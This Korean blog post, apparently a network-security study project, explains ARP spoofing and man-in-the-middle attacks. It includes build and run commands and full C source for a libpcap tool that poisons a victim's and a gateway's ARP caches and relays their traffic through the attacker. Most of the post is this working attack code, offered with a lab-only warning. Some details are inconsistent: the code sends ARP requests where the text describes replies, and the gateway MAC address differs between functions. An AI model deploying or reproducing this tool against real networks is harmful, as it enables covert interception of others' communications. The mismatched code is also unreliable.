ARP Spoofing 구현 - MITM 공격 이해와 C 구현
NOTE
ARP 프로토콜의 동작 원리와 MITM(중간자 공격) 성립 과정을 학습하고,
libpcap기반 멀티스레드로 ARP Spoofing 툴을 직접 구현한 네트워크 보안 학습 프로젝트다.
⚠️ 교육 목적 전용: 본인 소유이거나 명시적으로 테스트 허가를 받은 네트워크 환경(사설 테스트 랩)에서만 사용해야 한다. 타인의 네트워크에 무단으로 사용하는 것은 불법이다.
🧱 기술 스택
- C,
libpcap(패킷 캡처 / BPF 필터 / 패킷 주입) pthread(멀티스레드)
⚙️ 구현
목적
ARP 프로토콜의 동작 원리와 취약점을 이해하고, ARP Spoofing이 어떻게 MITM(중간자 공격)으로 이어지는지 직접 구현하며 확인한다.
참고자료
Ethernet + ARP 프레임 구조 (14byte + 28byte)
Untagged Ethernet II(DIX 2.0) 캡슐화 기준으로, ARP 패킷은 아래와 같이 6바이트 목적지/출발지 MAC, 2바이트 EtherType 뒤에 28바이트 ARP 헤더가 이어지는 구조다.
Ethernet II Header (14B) ARP Header (28B)
+-------+-------+-------+ +------+------+------+------+------+------+------+------+
| DA_MAC| SA_MAC| EType | | HRD | PROTO| HLEN | PLEN | OP | SHA | SPA | THA/TPA |
| 6B | 6B | 2B | | 2B | 2B | 1B | 1B | 2B | 6B | 4B | 6B/4B |
+-------+-------+-------+ +------+------+------+------+------+------+------+------+
DA_MAC/SA_MAC: 이더넷 목적지/출발지 MAC 주소 (각 6B)EType: 상위 프로토콜 타입 (ARP인 경우0x0806)HRD(Hardware Type): 이더넷이면0x0001PROTO(Protocol Type): IPv4면0x0800HLEN/PLEN: 하드웨어 주소 길이(6), 프로토콜 주소 길이(4)OP(Opcode): request(1) / reply(2)SHA/SPA/THA/TPA: Sender/Target의 Hardware(MAC)·Protocol(IP) 주소
ARP Spoofing 공격 개념 (네트워크 구성 예시)
같은 세그먼트(허브/스위치)에 Victim, Attacker, Gateway(Server)가 함께 있는 환경을 가정하면, ARP에는 인증 절차가 없다는 점을 이용해 공격자가 양쪽에 조작된 ARP 응답을 지속적으로 흘려보내 각 호스트의 ARP 캐시를 오염시킬 수 있다.
[Victim] <───────────> [Attacker] <───────────> [Gateway/Server]
(정상 경로처럼 보이지만 실제로는 Attacker를 경유)
- Victim에게 “Gateway의 MAC은 나(Attacker)다”라는 위조 ARP 응답을 주기적으로 전송한다.
- Gateway에게 “Victim의 MAC은 나(Attacker)다”라는 위조 ARP 응답을 주기적으로 전송한다.
- 양쪽 ARP 캐시가 오염되면서 Victim ↔ Gateway 간 모든 트래픽이 Attacker를 경유하게 된다.
- Attacker는 가로챈 패킷을 그대로 릴레이(relay)해 통신 장애 없이 스니핑을 지속한다.
ARP 프로토콜 이론 / MITM 원리 / 탐지·방어 기법
ARP 동작 원리, ARP Spoofing으로 MITM이 성립하는 과정, ARP 패킷 구조, libpcap 개요, 탐지/방어 기법(대부분 재사용 가능한 일반 보안 지식)은 별도 노트로 분리해 정리했다.
→ (CS) ARP 프로토콜과 ARP Spoofing(MITM) 이론 - 핵심 개념 및 특징 정리 (개인 학습노트)
🔧 빌드 및 실행
# Ubuntu 20.04 LTS 기준
sudo apt-get install libpcap-dev
gcc -o arp_spoofing_tool arp_spoofing.c -lpcap -lpthread
sudo ./arp_spoofing_tool [VICTIM_IP]실행 시 사용 가능한 네트워크 인터페이스 목록이 출력되고, 번호를 입력해 스니핑에 사용할 디바이스를 선택하는 방식으로 동작한다.
부록: 소스코드 (ARP Spoofing 구현 — C)
NOTE
아래는 이 프로젝트에서 직접 작성해 GitHub에 공개한 구현 코드다(하드코딩된 MAC/IP는 VM 기반 사설 테스트 랩 환경의 값이며, 실제 사용 시에는 대상 환경에 맞게 교체해야 한다).
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <netinet/ether.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#define BUF_SIZE 100
#define SNAPLEN 1024
//전역변수로 생성
pcap_t *use_dev;
// 첫번째 Thread VICTIM 담당 (희생자 pc에게 자신의 mac 주소 삽입(오염))
void *Arp_send_VICTIM(void *arg)
{
unsigned char packet[100]={0,};
//Destination Address MAC
packet[0] = 0x00;
packet[1] = 0x0c;
packet[2] = 0x29;
packet[3] = 0x8a;
packet[4] = 0x9c;
packet[5] = 0xbd;
//Source Address MAC
packet[6] = 0x00;
packet[7] = 0x0c;
packet[8] = 0x29;
packet[9] = 0xcc;
packet[10] = 0x30;
packet[11] = 0x10;
//ether_type (ARP로 설정)
packet[12] = 0x08;
packet[13] = 0x06;
//hrd_type (Ethernet로 설정)
packet[14] = 0x00;
packet[15] = 0x01;
//proto_type (IPv4 로 설정)
packet[16] = 0x08;
packet[17] = 0x00;
//hrd_size (6)
packet[18] = 0x06;
//proto_size (4)
packet[19] = 0x04;
//Opcode (request)
packet[20] = 0x00;
packet[21] = 0x01;
// Sender MAC (My mac)
packet[22] = 0x00;
packet[23] = 0x0c;
packet[24] = 0x29;
packet[25] = 0xcc;
packet[26] = 0x30;
packet[27] = 0x10;
//Sender IP (MY ip)
packet[28] = 192;
packet[29] = 168;
packet[30] = 114;
packet[31] = 137;
//Target MAC
packet[32] = 0x00;
packet[33] = 0x0c;
packet[34] = 0x29;
packet[35] = 0x8a;
packet[36] = 0x9c;
packet[37] = 0xbd;
//Target IP
packet[38] = 192;
packet[39] = 168;
packet[40] = 114;
packet[41] = 138;
while(1)
{
if(pcap_sendpacket(use_dev,packet,42)!=0)
{
printf("SEND PACKET ERROR!\n");
pthread_exit(NULL);
}
printf("VICTIM_ARP\n");
sleep(1);
}
pthread_exit(NULL);
}
//두번째 Thread GATEWAY(server) 담당 (희생자 패킷정보 확인 후 gateway에게 패킷전달(오염))
void *Arp_send_GATEWAY(void *arg)
{
unsigned char packet[100]={0,};
//Destination Address MAC
packet[0] = 0x00;
packet[1] = 0x0c;
packet[2] = 0x29;
packet[3] = 0xf0;
packet[4] = 0xbb;
packet[5] = 0x01;
//Source Address MAC
packet[6] = 0x00;
packet[7] = 0x0c;
packet[8] = 0x29;
packet[9] = 0xcc;
packet[10] = 0x30;
packet[11] = 0x10;
//ether_type (ARP로 설정)
packet[12] = 0x08;
packet[13] = 0x06;
//hrd_type (Ethernet로 설정)
packet[14] = 0x00;
packet[15] = 0x01;
//proto_type (IPv4 로 설정)
packet[16] = 0x08;
packet[17] = 0x00;
//hrd_size (6)
packet[18] = 0x06;
//proto_size (4)
packet[19] = 0x04;
//Opcode (request)
packet[20] = 0x00;
packet[21] = 0x01;
// Sender MAC (My mac)
packet[22] = 0x00;
packet[23] = 0x0c;
packet[24] = 0x29;
packet[25] = 0xcc;
packet[26] = 0x30;
packet[27] = 0x10;
//Sender IP (MY ip)
packet[28] = 192;
packet[29] = 168;
packet[30] = 114;
packet[31] = 137;
//Target MAC
packet[32] = 0x00;
packet[33] = 0x0c;
packet[34] = 0x29;
packet[35] = 0xf0;
packet[36] = 0xbb;
packet[37] = 0x01;
//Target IP
packet[38] = 192;
packet[39] = 168;
packet[40] = 114;
packet[41] = 139;
while(1)
{
if(pcap_sendpacket(use_dev,packet,42)!=0)
{
printf("SEND PACKET ERROR!\n");
pthread_exit(NULL);
}
printf("GATEWAY_ARP\n");
sleep(1);
}
pthread_exit(NULL);
}
//Thread 생성하는 함수
void Thread_up()
{
pthread_t threads[2];
if((pthread_create(&threads[0],NULL,&Arp_send_VICTIM,NULL))!=0)
{
printf("ERROR\n");
}
if((pthread_create(&threads[1],NULL,&Arp_send_GATEWAY,NULL))!=0)
{
printf("ERROR\n");
}
}
//장치 설정하는 함수
void init_dev(char **dev)
{
pcap_if_t *alldev, *device;
char errbuf[100] , *devname , devs[100][100];
int count = 1 , n;
if(pcap_findalldevs(&alldev,errbuf))
{
printf("Error finding devices : %s" , errbuf);
exit(1);
}
printf("\nAvailable Devices are :\n");
for(device = alldev ; device != NULL ; device = device->next)
{
printf("%d. %s - %s\n" , count , device->name , device->description);
if(device->name != NULL)
{
strcpy(devs[count] , device->name);
}
count++;
}
printf("Enter the number of the device you want to sniff : ");
scanf("%d" , &n);
devname = devs[n];
use_dev = pcap_open_live(devname, BUFSIZ, 1, 1,errbuf);
if(use_dev == NULL)
{
printf("%s\n",errbuf);
exit(1);
}
return;
}
//필터룰 설정하는 함수
void set_filter(char *filter, char *victim_ip)
{
struct bpf_program fp;
printf("SET FILTERING...\n");
strcat(filter,"host ");
strcat(filter,victim_ip);
printf("SET FILTER :: %s\n",filter);
if(pcap_compile(use_dev,&fp,filter,SNAPLEN,1)<0)
{
printf("COMPILE ERROR!\n");
exit(1);
}
if(pcap_setfilter(use_dev,&fp)<0)
{
printf("SETFILET ERROR!\n");
exit(1);
}
return;
}
//loop함수-callback함수(패킷 릴레이처리해주는 부분)
void callback(unsigned char *param,const struct pcap_pkthdr *header,const unsigned char *pkt_data)
{
struct ether_header *eh = (struct ether_header *)pkt_data;
printf("Callbakc :: In\n");
unsigned char VICTIM_MAC[6] = {0x00,0x0c,0x29,0x8a,0x9c,0xbd};
unsigned char ATTACK_MAC[6] = {0x00,0x0c,0x29,0xcc,0x30,0x10};
unsigned char GATEWAY_MAC[6] = {0x00,0x0c,0x29,0xff,0xbb,0x01};
//Victim request -> Attack pc packet
if((memcmp(VICTIM_MAC,eh->ether_shost,sizeof(eh->ether_shost)))==0)
{
printf("VICTIM -> GATEWAY\n");
memcpy(eh->ether_shost,ATTACK_MAC,sizeof(eh->ether_shost)); // victim pc -> attack pc
memcpy(eh->ether_dhost,GATEWAY_MAC,sizeof(eh->ether_dhost)); // attack pc -> gateway
}
//Gateway reply -> Attack pc packet
if((memcmp(GATEWAY_MAC,eh->ether_shost,sizeof(eh->ether_shost)))==0)
{
printf("GATEWAY -> VICTIM\n");
memcpy(eh->ether_shost,ATTACK_MAC,sizeof(eh->ether_shost)); //attack pc로 이동
memcpy(eh->ether_dhost,VICTIM_MAC,sizeof(eh->ether_dhost)); // attack pc -> victim pc
}
pcap_sendpacket(use_dev,pkt_data,header->caplen);
}
int main(int argc, char **argv)
{
char *dev;
char filter[BUF_SIZE]={0,};
char victim_ip[BUF_SIZE]={0,};
//인자값으로 VICTIM_IP 받음
if(argv[1])
{
strcpy(victim_ip,argv[1]);
}
else
{
printf("Please enter the Victim_IP\n");
return 1;
}
//디바이스 설정
init_dev(&dev);
//필터 설정
set_filter(filter,victim_ip);
//Thread 생성
Thread_up();
// Packet Start
pcap_loop(use_dev,0,callback,NULL);
pcap_close(use_dev);
return 0;
}구현 포인트
libpcap으로 네트워크 인터페이스에서 직접 패킷을 캡처/전송한다.- Victim ↔ Gateway 양방향 스푸핑을 각각 별도 스레드(
pthread)로 분리해 동시에 처리한다. - ARP 패킷을 바이트 배열로 직접 구성한다(Ethernet 헤더 + ARP 헤더를 수동으로 조립).
callback()에서 캡처된 패킷의 출발지 MAC을 검사해 Victim ↔ Gateway 간 트래픽을 Attacker 경유로 릴레이한다.
관련 문서
- (CS) ARP 프로토콜과 ARP Spoofing(MITM) 이론 - 핵심 개념 및 특징 정리 — 이 프로젝트에서 이론 부분만 추출해 별도로 정리한 자매 노트